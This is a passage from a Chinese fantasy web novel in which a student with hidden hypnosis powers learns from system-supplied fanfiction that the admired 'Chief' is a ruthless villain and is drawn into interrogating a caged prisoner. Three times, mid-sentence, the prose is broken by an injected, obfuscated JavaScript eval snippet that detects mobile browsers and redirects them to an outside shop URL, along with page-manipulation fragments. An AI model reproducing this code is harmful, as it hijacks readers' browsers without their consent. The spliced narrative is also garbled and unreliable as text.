只是纪运的心底刚生出这个想法,就听到身后传来一道温柔地声音:“抱歉,刚才在处理一些事情,没能来得及告诉你。” 与此同时,一双手臂从背后轻轻揽住了他的腰。 那力道不算紧,甚至可以说是温柔的,像是怕惊扰了他。对方比他高出不少,下巴自然而然地落在了他的肩膀上,微乱的发丝蹭过他的耳廓,带着一股淡淡的、说不清道不明的气息。 纪运却并没有流露出惊讶地表情,而是半是抱怨半是撒娇地出声:“好吧。” “你是首席,自然很忙.....” 他听到对方笑了一声,而后咬了他的耳尖。】 在看到首席二字出现在自己的眼前时,纪运已经瞳孔震颤,大脑一片空白。 等他回过神来,才意识到自己刚才已经将心中的想法脱口而出。 他都已经接受了出现的人会是霍钊,但是怎么都没有想到会是首席。 纪运本以为自己已经做好了准备,但是他发现自己还是想的太少了。 系统:【这是同人合志,自然会出现其他角色。】 纪运回想起系统的话语,现在仔细想想,对方确实只说了后面的内容有,并没有明确是下一章。 系统:【而且你和身为反派的首席,也是大热CP。】 纪运:??? 纪运:“首席....是反派?!” 5. 第 5 章 首席是绝对可以相信的异能者,这是刻在包括纪运在内的每个人的共识。 但是现在系统的话语却完全颠覆了纪运的认知,甚至比刚才看到同人文还令他觉得错愕。 首席竟然是反派?! 难道是首席做了什么事情..... 系统似乎意识到自己说漏了嘴,任凭纪运如何出声询问,都不再吱声。 如今的纪运也已经意识到只要系统不想开口,很难从对方嘴里逼问出什么,因此干脆又低下头,将注意力落在了面前的同人文上,妄图寻找到蛛丝马迹。 现实中的纪运和首席是他知道对方,对方不知道他存在的陌生人关系,他和对方现实中仅有的几次接触,要么是首席受邀来天枢学院发表演讲,要么是首席需要一些异能者执行任务,从学员证抽调了几个人,纪运因为表现优秀也在其中。 后者是纪运和首席仅有的近距离接触。 当对方的视线落在身上时,纪运就感觉到了那让人想要臣服的力量- 纪运还记得当时的感觉,虽然拥有绝对的强大力量,但是首席的性格并不嚣张跋扈或高冷到让人难以接近。 对方的性格算得上是温柔,他说话时语速不快不慢,带着一种让人不自觉安静下来的力量,让人不由自主的仔细倾听。首席会在演讲结束后耐心地回答每一个学生的问题,哪怕有些问题在他听来可能很幼稚;他也会在任务开始时细心分配每个人的任务,确认对方的状态。 但这份温柔并没有让人觉得亲近。 因为他的温柔太完美了,完美到不像是一个真实的人应该拥有的特质。他从不发怒,从不失态,从不在任何场合表现出负面的情绪。 他像一面平静的湖水,无论投入怎样的石子,都无法激起涟漪。 即使面对敌人的恶毒挑衅时,首席也毫无波澜。无论敌人有多强和有多少人,首席永远能在最短的时间内结束战斗。他的手段干净利落,并不会施加多余的残忍刑罚,只是也不会留下活口。 正是这种完美,让人感到恐惧。 一个拥有绝对力量的人,同时拥有绝对的克制—— 这本身就是一件令人毛骨悚然的事情,反倒让人愈发小心翼翼,不知道对方动怒起来会是怎样的场景。 首席并未婚配,有关对方可能的绯闻和婚配人选,也只敢存在于大家私下的讨论之中。 纪运从未想过有一天自己的名字会和首席如此亲近。 不对,身体也是。 在同人文里,他和首席无数次亲密相拥,发生不可描述的事情,是一对情侣。碍于纪运并不想被怀疑以后是借着首席才当上纪家家主,才暂时对外隐瞒。 纪运:“.......” 为了找到首席是反派的原因,纪运想要逐字逐句的阅读,然而只看到满屏的“好深”,“再忍忍”等等话语,他还是没能坚持住,视线开始游移。 他现在感觉自己都没有办法正视首席了。 纪运浑浑噩噩的看到末尾,盯着末尾好半天没能回过神来。 系统出声提醒:【你已经看完了,要是想要解锁新章,需要继续拍摄视频赚取阅读币。】 纪运堪堪回过神来,但是好半天没能找回自己的声音—— 他还在努力消化着刚才的内容。 * 纪运不知道自己是如何躺在了床上,又是什么时候睡着的,只知道再次睁开眼睛时,已经天光大亮。 系统打了个招呼,知趣的没有提起昨晚的事情,留给纪运反应的时间。 纪运默不作声的下楼,正好碰到纪潮回来,正半是炫耀半是激动地回忆着昨天和首席的见面。 纪潮:“昨天其他几个家族也在,但是我还是和首席搭话了.....” 其他几个兄弟姐妹都投来艳羡的目光,而纪运听到首席的名字,有关他和对方的同人文再一次浮现在脑海之中,只能抿紧唇瓣。 纪潮的声音还在继续:“说起来,昨晚离开前首席说会去天枢学院。” “纪行一,纪莲,纪运,你们三人在天枢学院要好好表现,别给我们纪家丢脸.....” 因为昨天被纪家家主带着去参加首席的宴会,纪潮已经将自己以后会接任纪家当作板上钉钉的事情,因此语气不免带上了几分命令和颐指气使,将其他人当作自己未来的下属命令。 其余几人都已经习惯了他的性格,并没有多说些什么,只是推说上学时间到了,匆匆吃过早餐后选择出门。 虽然纪运和另外两人同在天枢学院,但三人之间隐藏的竞争关系让他们无法和平相处,上学也都默契的分开行动。 纪运等另外两人先行离开后,才走出了房门。 一方面是为了分散昨晚看到劲爆消息的注意力,一方面是出于这段时间养成的习惯,在到达学院后,纪运习惯性的先去了霍钊的学院。 虽然住的距离远,但是霍钊到达学院的时间一向都早。 因为要上课,纪运只决定假装路过,偷偷观察霍钊一会儿,因而并没有做伪装。 等他到达霍钊教室的门口时,教室里果然只坐了零星几人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523444|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 纪运的出现瞬间吸引了不少注意力,还有人想要上前和他打招呼。 纪运一边回应,一边看向了霍钊。 不过令纪运错愕的是,当他看向霍钊时,却发现对方也在看着他,视线似乎带着几分隐隐的打量。 纪运一怔。 毕竟由于这些天勤奋的跟踪,他已经知道霍钊的性格高冷。对方似乎对万事万物都提不起不动,他还是第一次看到对方眼底流露出的打量和探索,只是却是放在了他身上。 难道他连日来的跟踪被发现了? 但是要是被发现的话,霍钊为什么没有直接揭穿他..... 纪运心弦紧绷,不过在两人对视了几秒后,霍钊率先收起了目光,又低头看起了书,好似只是单纯看了一眼。 看到霍钊的模样,纪运原本绷紧的心弦松懈下来。 大概对方只是好奇吧。 毕竟再怎么说,霍钊也是人类,总会有好奇的时候..... 这么想着,纪运心中的疑云消散开来。 他看了一眼霍钊,确认对方和往常没有什么区别后,就匆匆赶去上课。 虽然强迫自己将注意力转移到面前的课程上,但是纪运还是不由自主的走神,心思已经转到了同人文上。 考虑到自己的成熟能力,纪运先思考起了霍钊的事情。 纪运在心里询问系统:“所以霍钊的异能究竟在哪一章?” 系统:【在后面的内容。】 纪运对于系统的回答已经有所预料,思索着是否要继续拍摄视频赚取阅读币,好看到后面的内容。 如果要是昨晚那样可以继续单人活动拍些和霍钊有关的视频就好了..... 纪运又尝试着和系统讨价还价,不过这次系统并不准备给他钻空子的机会,而且还带来了一个坏消息—— 他没有办法重复演绎已经演过的章节,而这意味着他接下来想要通过拍摄视频赚取阅读币,所剩下的选择只有和首席拍摄视频。 纪运:“......” 且不说他能不能接受是一回事,即使今天首席会到达,他要怎么近距离接触到首席,还要和首席说出那些羞耻的台词?! 他怀疑自己能让首席罕见的动怒。 就在纪运犹如晴天霹雳时,耳边响起了同学惊喜地声音:“是首席来了!” 纪运看到对方的眼痛变成了紫色,显然是正在使用异能偷偷观察教室外,没想到正好看到了首席,立即激动出声。 而对方的话语一出,也令教室瞬间沸腾起来。 6. 第 6 章 前排的几个同学已经站了起来,后排的更是踮着脚尖往窗外张望,有些甚至都忘记了使用异能,所有人的脸上都写满了兴奋与期待—— 毕竟首席出现在学院的机会少之又少。 教授也并没有动怒,他放下手中的课本,推了推眼镜,走到窗边朝外望了一眼,随即回过头来,难得地露出一个笑意:“看来这节课要暂停一会儿了。” 没有人回答教授的话语,也没有人会觉得遗憾。 纪运也随着大家的话语,下意识看向了窗外。 阳光透过道路上的树叶,将整条道路镀上一层浅金色的光晕,却无法抢夺大家的注意力。 纪运的视线也跟随着众人看去,落在了道路上正走来的人影。 首席走在队伍的最前方。 他身着一件银白色的长款风衣,风衣的质地看起来极好,随着步伐的移动泛起细腻的光泽。内里是剪裁考究的正装,领口微敞,没有系领带,在正式与随意之间找到了某种恰到好处的平衡。 他的身量极高,在一众随行人员中显得格外突出,但真正让人移不开眼的,是他的那张脸。 对方的五官轮廓深邃而精致,像是被某种高于人类审美的力量精心雕琢过。眉骨高而锋利,眉尾微微上扬,带着一种与生俱来的凌厉感。鼻梁高挺,下颌线条利落分明,每一处转折都恰到好处。 首席的眼眸同样特别,瞳色很浅,介于琥珀与茶色之间,在光线下几乎呈现出一种透明的质感。此刻那双眼睛里带着淡淡的笑意,眼角微微弯起,看上去温和而无害。 他的唇角也确实挂着浅浅的笑意,唇角上扬的弧度恰到好处,就像一层薄而透明的纱,恰到好处地笼住了下方可能存在的所有暗涌。 但即使是这样,也并没有让他的气质完全轻和。 即使首席走路的姿态从容而闲适,但是那种属于绝对强者的气场依然从他身体的每一个毛孔中渗透出来,无声无息地笼罩着周围的一切。 而首席身边的随行人员都与他保持着微妙的距离,不远不近,既不会显得疏离,又绝不会冒犯到他的个人空间。 纪运看着首席,实在无法将面前的人和反派联系在一起,也想不出首席会成为反派的原因。 毕竟只要对方想要什么,以首席的身份和地位,完全可以轻而易举地得到,又何必要做反派? 不会是系统那边出错了吧? 系统:【你的质疑已经写到脸上了,我不可能出错。】 听到系统的话语,纪运才意识到自己不知不觉间流露出了几分怀疑的神色。 纪运假装道歉,心里则是在寻思着下次要注意自己的表情,别再被系统发现。 而与此同时,同学们的讨论声还在断断续续的传入到纪运耳边。 “奇怪,首席为什么会出现在这里,难道是学院又邀请到了主席做演讲.....” “没有听说这件事情啊,不过我爸妈说昨天参加宴会时隐隐听到,说是来学院找有特殊异能的人,我爸妈还让我好好表现。” ..... 纪运捕捉到了那人的话语,寻思着要是这样的话,他等会儿也要好好表现。 首席的身影很快在高层领导们的簇拥下离开。 虽然对方的身影消失在众人眼前,但是有关首席的讨论声仍未停下来。 教授也知道大家的注意力并不在课堂上,因此并没有再继续讲课,而是借机和大家讨论起了首席。 直到教室的门突然被敲响,门外,是满面春风的校长,热情出声:“纪运同学在吗,出来一下.....” 校长的突然点名让大家的注意力瞬间都落在了纪运身上,神色流露出疑惑和探究。 纪运的眼底同样流露出了困惑的表情,只是既然校长出现在这里,那必定和首席有关。 纪运很快起身,朝着教室外走去,跟在了校长身后。 没等纪运出声询问,校长就已经飞快出声:“我是替首席来叫你们的,首席很看好你和伍轻松的异能,想要委派给你们一个秘密任务.....” 纪运的心底一沉,生出了几分不详的预感。 一方面他是A级风系异能者,如果单论风系异能,天枢学院还有一位S级风系异能者,完全轮不到他。 更别说这次和他一起同行的还有伍轻松。 对方是拥有催眠异能的S级单系异能者,因此在学院内颇为有名。 难道首席也发现了他拥有催眠异能? 虽然纪运的心里一时间转过不少想法,但是如今一切也只见到首席后才能知道了。 * 在又和校长一起去其他班级找到伍轻松后,三人又一起去见了首席。 纪运觉得这一次的见面已经刷新了他和首席之间的最近距离,只是一想到自己担心的事情,他忧心忡忡。 首席的态度很好,说需要两人去他的府邸帮忙做一件事情。 几乎是首席的话音刚落,伍轻松就迫不及待地答应了。而纪运在短暂的犹豫后,才缓缓点头。 虽然对方的语气虽然并没有命令的意味,仿佛将选择权交给了两人,但是纪运知道他们实际上并没有什么选择—— 毕竟能让首席请求帮忙算得上是绝对的殊荣,要是他选择拒绝的消息流传开来,也不知道会在学院内受到怎样的嘲讽和刁难,纪家家主也不会放过他,更别说校长还在这里,恨不得立马点头答应下来。 而在听到两人的回答后,首席唇角的弧度未变,颔首当作回应,而后让他们跟上自己,驱车朝着府邸的方向赶去。 * 两辆车离开了学院,一辆坐着纪运和伍轻松,另一辆则是坐着首席。 车子平稳地驶向首席府邸的方向,窗外的街景不断向后掠去。 相比于伍轻松的轻快,纪运不安的情绪依然难以散去。 就在这时,系统突然出声:【焦虑也没有用,不如看看同人文轻松一下。】 虽然系统有着打广告的嫌疑,但是纪运觉得自己确实需要转移一下注意力,不然一旁的伍轻松就要先一步发现他的异常了。 尴尬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523445|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总比现在不安要好一些。 纪运深吸一口气,努力让自己的注意力落到面前的同人文上,果然好了不少。 而且不知道是不是因为最近遭受的冲击太大,纪运觉得自己的承受能力也高了不少,以至于看第二遍时,已经不像第一遍那样因为满屏的暧昧描写而面红耳赤地快速掠过。 一段文字就这样措不及防的闯入到他的眼睛。 【深夜,首席的私人书房里只点了一盏落地灯,暖黄色的光线将房间切割成明暗分明的两个世界。纪运坐在首席的腿上,首席的一只臂弯松松地环着他的腰,像是抱着什么易碎的东西,另外一只手臂则是正在处理公务。 纪运已经习惯了对方喜欢抱着他处理事情,他和对方的距离如此之近,以至于他能够感觉到首席的胸膛微微起伏,带着均匀的、令人安心的节奏。 而随着首席处理完事务,环着纪运腰间的手臂收紧,纪运的耳尖泛起一层薄红,对于接下来要发生的事情已经心知肚明。 “宝宝,今天.....”首席的声音从头顶传来,低沉而温柔,带着一种让人不由自主想要屏息倾听的磁性:“想玩一个特殊的玩法。” 纪运的耳尖更红了几分,他没有说话,只是微微垂下了眼睫,算是默许。 首席低低地笑了一声,那笑声从胸腔里传出来,震得纪运的后背微微发麻。 然后,纪运感觉到首席的身体微微前倾,一只手松开了他的腰,修长的手指勾住了领带结,轻轻一扯。 松开的领带从衬衫领口垂落下来,在暖黄色的灯光下泛起细腻而暧昧的光泽。 首席将那条领带在指间折了两折,丝绸摩擦的细微声响在安静的书房里显得格外清晰,而后将折好的领带缓缓举到纪运面前,深色的布料几乎要贴上他的眼睑。 就在这时,纪运的身体猛地轻颤了一下。 那颤抖很细微,细微到如果不是两个人贴得这么近、首席的手臂正环着他的腰,根本不可能察觉到那具靠在他怀里的身体突然绷紧的弧度。 举着领带的手停在了半空中。 首席没有说话,书房里安静得能听见纪运微微加快的呼吸声。 几秒后,首席缓缓将那条领带放了下来,却没有完全拿开,而是握着它,微微低下头,去看纪运的表情。 纪运垂着眼,睫毛轻轻颤动着,像是在努力平复什么。他的嘴唇抿成一条线,脸色比刚才白了一些。 “宝宝....”首席喊了他的名字,声音比平时更轻,像是怕惊扰了什么:“你是不是……”首席斟酌着措辞,声音低沉而缓慢,“讨厌眼睛被遮住的感觉?” 纪运的睫毛又颤了一下。 他没有回答,但那瞬间的反应已经说明了一切。 首席的手指微微收紧,握着那条领带的手慢慢放了下来,将领带随意地扔到地上。他的另一只手从纪运的腰间抬起,转而轻轻落在纪运的肩头,拇指极轻极缓地摩挲着对方的肩线,像是在安抚。 “和那件事有关?”首席问,声音低得几乎只剩下气息。 7. 第 7 章 【纪运沉默了片刻,然后缓缓点了点头。 首席的喉结滚动了一下。 他收回落在纪运肩头的手,转而握住了纪运放在膝上的手,将那只手包进了自己的掌心里。他的掌心很暖,干燥而温热,将纪运微凉的指尖一点一点地焐热。 “抱歉宝宝,是我的错。”首席的声线低沉而认真,每一个字都像是经过斟酌后才说出口的:“当初在我们第一次见面的时候,我就看出了你有特殊的催眠异能,所以之后才想到会找你帮忙,希望你能够帮我问出预言。” “没想到代价是让你失去异能,那个时候你的眼睛有很长一段时间都戴着纱布,是因为这个原因才讨厌眼睛被遮住的感觉吗?” 纪运并不想再继续这个话题,毕竟他已经称得上是幸运,另外一个得知预言后告诉首席的人,则是被直接灭口,事后则是宣称因为意外死亡。 他垂眸,视线落在首席握着他的那只手上,忽然抽出了手,而后出声:“我确实讨厌,所以换一种方法让我忘记吧。” 话音刚落,纪运就感觉到一只手掌覆上了他的后腰,隔着薄薄的衣料,温度似乎比起之前滚烫了不少。 而纪运很快意识到这并非他的错觉。 首席的呼吸落下来,带着灼人的热度擦过他的额角,一寸一寸地往下移。 两人鼻尖相抵,纪运收紧了环在对方腰间的手臂,指节攥住衣料,攥出了几道褶痕,在原本一尘不染的衣服上格外明显。 两人都没有在意这几道痕迹,毕竟他们都知道之后会留下更多痕迹。】 纪运蹙眉,视线长久的停留在这段。 这段文字夹杂在不可描述之间,当时他看到首席叫自己宝宝就已经被羞耻心淹没,几乎是眼神飘忽的跳过,没想到这其中竟然还夹杂着这件事情。 想到系统说过这是基于原著的同人文,纪运猜测对方口中提到的帮忙,恐怕和首席即将告诉他的是同一件。 此时的他终于有些相信首席是反派这件事情,毕竟谁家好人会在事成后灭口。 而且对方竟然一早就知道他有催眠异能,纪运想起之前有人猜测的首席能够看到每个人的异能,不过大部分人都当成是对首席能力的猜测。 首席的记忆力应当也很惊人,毕竟上次他和首席接触都是几个月前的事情了。 纪运原本想要继续看下去,但是他的思绪被一旁伍轻松骤然响起的声音打断。 伍轻松的视线已经转向窗外,自言自语一般惊叹出声:“原来这就是首席的府邸……” 纪运的视线越过伍轻松的肩膀,才惊觉车已经因为到了目的地而停了下来,映入眼帘的是占地面积广阔的庄园,大片的白色墙壁上与装饰,让庄园的气氛显得森严庄重感,令人不由自主地屏住呼吸。 首席的府邸并不对外开放,只有收到首席邀请的人才被允许进入,不过如今得到邀请的人寥寥无几。昨日如纪家家主和纪潮等人,也只是被邀请到了专门负责接待的宴会厅。 纪运的心底也难得生出了几分激动的情绪,只是一想到刚才同人文里提到的事情,他又紧张了起来。 纪运很想要继续看同人文,看能否找出什么线索,然而当着首席的面,他生怕被看出什么端倪,因此并不敢轻易尝试。 而首席的身影已经再次出现在他们面前,唇角笑容的弧度未变,出声请两人移动到书房后,这才不紧不慢地出声。 他先是表示还记得之前和两人一起执行任务时纪运和伍轻松的优异表现,让他注意到了两人。 纪运的心思流转,他那个时候并没有使用催眠异能。 果然就像是同人文里所写的一样,对方当时就看出了他的异能,而且因为惊人的记忆力,所以在几个月后有事时立即想到了他。 更令纪运没有想到的是在首席看来,他的催眠异能竟然和伍轻松一样可以评为S级。毕竟之前因为想要将催眠异能当作最后的保命符,纪运并没有透露给任何人,因而他的异能也并未评级。 首席的夸赞结束,而后话锋一转:“我希望你们两人尝试使用催眠异能,帮我询问一个人他究竟在预言中看到了什么。” “我之前也找了其他拥有催眠异能的人,但是都没能成功。” 纪运心底一沉,担心的事情彻底成为现实—— 首席竟然早就知道他有催眠异能的事情。 伍轻松的目光也落在他身上,神色流露出几分错愕。 毕竟催眠异能称得上是罕见,他和纪运同在一个学校,却完全没有听说过对方有催眠异能的消息。 纪运竟然一直隐瞒着这件事情,只偷偷告诉了首席或学院?这也太有心机了! 不过伍轻松的震惊很快被怕抢功劳的急切掩盖,连忙出声:“首席,我可以做到的,我有过类似的经验,完全可以胜任,请问是要询问谁?” 首席礼貌颔首:“感谢你们的帮忙,我会记得你们的帮助,事情结束之后,如果你们有需要我的地方,我也会尽力帮忙。” 听到首席的话语,伍轻松脸上的激动已经掩饰不住,毕竟这可是得到了首席的承诺。 要是放在之前,纪运早就开始思考起了是否能够趁着这个机会成为纪家家主,奋力争取抢先的机会,表示自己只要明天就能够使用异能。 只要他想,完全可以让伍轻松让出机会,毕竟按照他听说的伍轻松的性格,对方对自己的异能很是自信,他可以借口比一比让自己抢占先机。 不过同人文的事情已经如同一盆冷水当头浇下,即使对方的承诺再好,也只是谎言,即使侥幸完成后也会被对方解决。 纪运立即决定顺势放弃,不和伍轻松争夺这个机会。 纪运佯装遗憾:“我也很想帮您的忙,但是我之前使用过一次异能,现在还没有办法使用......” 伍轻松半是庆幸半是得意地瞥了纪运一眼,立即附和:“没关系,我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523446|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人就可以。” “我一定完成任务。” 首席笑了笑:“好,那就先麻烦伍同学了。” * 书房一侧突然出现暗门,首席带着伍轻松走了进去。 随着两人的身影消失在门口,房门随之消失。 因为首席并没有提到让纪运离开,纪运也只能继续呆在书房,等待着两人去而复返。 纪运决定趁着这段时间继续偷看同人文,看能否找出些蛛丝马迹。 这一次他看的无比认真,然而除了知道首席书房的座椅很软,足够他们两人换许多姿势,以及书房的窗户可以调成单向镜,可以让他在被压到镜子上时不用担心外面的人会看到之类的消息外,毫无作用。 纪运已经觉得自己无法再直视面前的书房,哪一处好似都让他想起同人文里至少八百字的描写。 不知道过了多久,刺耳的尖叫声突然响起,令纪运心神一震。 那尖叫声虽然变了调,但是纪运还是听出了几分熟悉的感觉—— 怎么有些像是伍轻松的声音..... 纪运尝试着寻找声音传来的方向,随即发现不远处的门不知何时已经被打开,首席的身影出现在门口,他的身边则是伍轻松。 只是伍轻松的状态看起来并不算好,他像是被一股无形的力量托着,以奇怪的姿势勉强支撑着身体,但是却紧闭着双眼,鲜血从紧闭的眼睛流下,打湿了大半衣服,嘴里还在不停的发出惨叫。 首席站在距离伍轻松不远不近的地方,银白色风衣并非沾染鲜血。 他唇角笑容的弧度未变,只是用令人安心的语气说道:“别担心,你不会有事的,我已经叫了治疗系异能者过来.....” 首席令人信服的声线让伍轻松的状态好了一些,只是神色还是因为疼痛难掩痛苦:“我的眼睛好疼.....首席,救救我.....” 书房处很快传来轻轻的敲门声,得到首席允许进入的话语后,房门才被推开。 站在门外的都是几个赫赫有名的S级治愈系异能者,她们虽然神色流露出几分惊讶,但是并没有出声询问的意思,而是从善如流的从首席身边搀扶走了还在哀叫的伍轻松。 纪运看着治疗系异能者脸上有些严肃的表情,立即意识到伍轻松的下场只怕和同人文里的自己一样,会失去催眠异能。 他的心底生出几分侥幸躲过一劫的庆幸,努力缩小着存在感,想着等一会儿告诉首席不用送了,他自己走着离开就行。 然而随着那几个治疗系异能者搀扶着伍轻松离开,纪运感觉到首席的视线落到了他身上。 纪运的心底顿时生出了几分不详的预感。 首席唇角的笑容流露出几分恰到好处的遗憾和愧疚:“刚才伍同学因为意外受了伤,需要先去治疗。” 他话语一顿,视线落在纪运身上,语气温和而不容拒绝:“接下来的事情只能麻烦纪同学了。” 8. 第 8 章 纪运心里一惊,还想用刚才的借口:“我很想帮您的忙,但是我的异能.....” 首席唇角笑容的弧度未变,声线依然平和:“别担心,你说前段时间使用了异能,应当这两天就能够恢复。” 纪运:“.....” 他更担心了。 唯一的借口被堵,纪运为了不被看出来异常,只能点头先答应下来。 * 首席询问纪运这段时间是否要住在庄园内,被纪运断然拒绝。 在知道对方是反派后,他只想离首席越远越好。 首席并没有强作挽留,只是用温和的语气提醒希望纪运暂时保密任务后,派车送纪运离开。 眼看着时间不早,纪运并没有回学院,而是直接回了纪家。 从刚才起就很安静的系统终于再次出声,这次终于没有再打广告。 系统:【我们应该怎么办?】 虽然按照系统的话语,原著中的纪运本不该在这个时间点死去,但是如今因为纪运的选择,一切都发生了变化。 纪运没有回答系统,毕竟此时的他也暂时没有什么头绪。 在乘车回去的路上,纪运看了一眼手机,发现手机屏幕已经多了不少消息,有些是相熟的同学,有些则是平常只躺在他列表中的内容,此时都发来消息,或是嫉妒或是好奇的想要询问首席究竟有什么事情找他。 纪运实在没有回答的心思,烦躁的将手机扔到一边。 而等他回到纪家后,才发现纪家家主竟然破天荒的早回到了家,正满脸笑容的看着他:“听说首席今天去了天枢学院,还找了你和伍轻松?” 显然对方也已经听说了消息。 一旁的纪潮冷哼一声,下意识想要嘲讽几句,但是却被纪家家主瞪了一眼,只能不情不愿的收声。 纪家家主这才继续出声:“是因为什么事情?” 纪运用首席需要保密的借口,堵住了纪家家主的详细追问,后者只能将疑惑放在心底,叮嘱纪运要好好表现。 纪运并没有心思和纪家家主周旋:“我累了,要先上楼休息了。” 纪家家主并没有在意纪运微妙的态度,而是立即应声:“也是,你先好好休息。” 纪运旋即上楼,直到终于一个人彻底独处,他紧绷的心弦才稍稍放松,转而思索应该怎么办。 要不趁着这段时间抛下在纪家的一切跑路,换个身份去找妈妈? 这个想法刚浮现在脑海之中,就被纪运断然否定。 纪家的势力不一定能够找到他,但是首席的势力完全可以。他不仅无法成功逃脱,而且还有可能连累到自己的母亲。 而且他也并不想让两人一辈子都躲躲藏藏的生活。 最好的情况当然是首席在这段时间找到了其他拥有催眠异能的人,彻底将注意力从他身上转移。 不过这个可能性并不大,毕竟对方说过,他已经找过其他拥有催眠系异能的人,这些人没有成功后才找到了他和伍轻松。 纪运只能往最快的情况去想,伍轻松已经受伤,而他作为下一个人,很有可能失去生命。 要不赌一把,直接对首席使用催眠? 纪运觉得实行的可能性并不大,如果不成功的话,他可是算得上是袭击首席了。他的催眠在短时间内只能使用一次,风系异能就更并非首席的对手了。 他的心底生出几分绝望,仿佛生命已经被宣告进入了倒数,剩下的时间还不够他人生走马灯。 纪运重新编排着现有的线索,大脑飞速运转,一个大胆的计划在他的脑海之中逐步成型。 虽然知道这个计划意味着高风险,但是此时的纪运已经别无选择。 要是他的计划成功,说不定还能够趁着这个机会一举翻盘。 纪运抿紧薄唇,看向了镜子里的自己,在脑海中排演着计划,确定着可行性。 * 纪运能够感觉到自己的催眠异能在第二天就已经恢复了,不过纪运并没有试图联系首席,期待着对方能够找到别的异能者。 想到伍轻松知道了他有催眠异能的事情,纪运偷偷让跟班在学院内打听起了伍轻松的情况,只知道对方因为受伤的缘故,已经暂时休学,目前还没有到学校,几个和伍轻松关系不错的人尝试联系对方,但是目前都是伍轻松的家人和他们联系。 对于伍轻松受伤的事情,学院内的人也并没有怀疑,只当对方是去做了危险的任务,不可避免的受了伤。 纪运意识到伍轻松恐怕像是同人文里原来的他一样,已经因为失去异能暂时休养,也没有办法向外透露他有异能的事情。 几天后,纪运接到了一通没有显示联系人的电话:“你好。” 听到对方声音的那一刻,纪运已经明白了来人是谁,叫了一声“首席”。 他并没有对首席知道自己的电话号码有所惊讶,只要对方想,有关他的完整资料立即就能摆在桌上。 而对方这次打来电话,自然是询问他异能恢复的怎么样。 纪运:“刚刚恢复,我正想该怎么告诉您,我或许能够帮到您......” 听到纪运已经恢复异能,首席很快出声询问纪运是否有时间过来,学院那边请假的事情他会处理。 纪运点头答应下来。 * 有了上次去首席府邸的经验,再加上心里已经有了计划,纪运这次要从容的多,坐上了首席派的车后,和对方再次在书房会面。 因为之前已经告诉过纪运大概内容,这一次两人的交流要简单的多。在短暂询问过纪运的身体情况后,书房一侧的门随即被打开,纪运跟在首席身后走了进去。 与他想象的可能是幽暗隧道不一样,里面要宽敞的多。明亮的灯光将通道照耀的好似舞台,而灯光下,首席的语气温和:“谢谢你愿意帮忙。” 纪运故作激动地出声:“没事,我也很高兴自己还能赶得上帮您的忙.....” 他抬眸,刻意将眼睫微微扬起,眸光发亮,看向对方的神色带上了几分恰到好处的崇拜。 而首席唇角笑容的弧度未变,他被崇敬、被仰慕、被当作救世主一样注视的时候太多了,多到这种表情已经无法在他心里激起任何波澜,因而只是微微颔首,而后出声:“我们一会儿见到的人很会说谎,不管他说什么,都不要相信,只需要问他在有关我的预言中看到了什么。” 纪运乖巧地应了一声,心底却将这句话记了下来。 很会说谎。 在知道对方的真面目后,这句话从首席嘴里说出来总有种微妙的讽刺感。 首席已经迈步向前,纪运快步跟上。通道比想象中更长,两壁的灯光冷白刺目,将脚下的路照得没有一丝阴影。每隔几步就有一道感应装置,纪运能感觉到那些装置扫过自己身上的微妙触感——体温、心跳、异能波动,所有数据都在无声地被记录。 这条通道本身就是一个精密的安全系统。 纪运还在盘算着接下来的计划,目光不经意间抬起,而后瞳孔一颤,脚步也随之顿住。 不远处的空间骤然开阔,像是通道尽头展开了一个巨大的地下空间。而在这片空间的中央,赫然立着一个牢笼。 透明的壁垒从地面延伸到天花板,隐约能看到上面流动的符文纹路,似乎是专门针对异能者的压制结界。结界内部的空气似乎都比外面沉重几分,压抑得让人喘不过气。 而牢笼之中,有一个人。 那人半跪在地上,手腕和脚踝都被束缚装置锁住,身上的衣服皱巴巴的,脸色疲惫又憔悴。 但即便如此,纪运还是认出了他—— 何冰。 同时拥有催眠系,预言系和攻击系三种异能,且都被评定为S级异能。曾经在天枢学院的荣誉墙上挂过照片,是所有后辈仰望的存在。 半个月前,何冰试图在某个人口密集的区域发动恐怖袭击,被首席当场阻止并逮捕。新闻铺天盖地地报道了这件事,官方给出的说法是“何冰已被控制,事件无平民伤亡”。纪运记得当时这条消息引起轩然大波,不少人感慨双S级的异能者一旦走上歧路,造成的破坏是不可估量的,还好首席及时出手。 后来更多的新闻冒出,有关何冰的消息也停留在被控制收押。 纪运原本以为对方会在监狱里,没想到竟然会出现在首席的府邸。 纪运的指尖微微发凉,但他很快控制住了自己的表情,神色流露出几分恰到好处的疑惑:“这是.....” 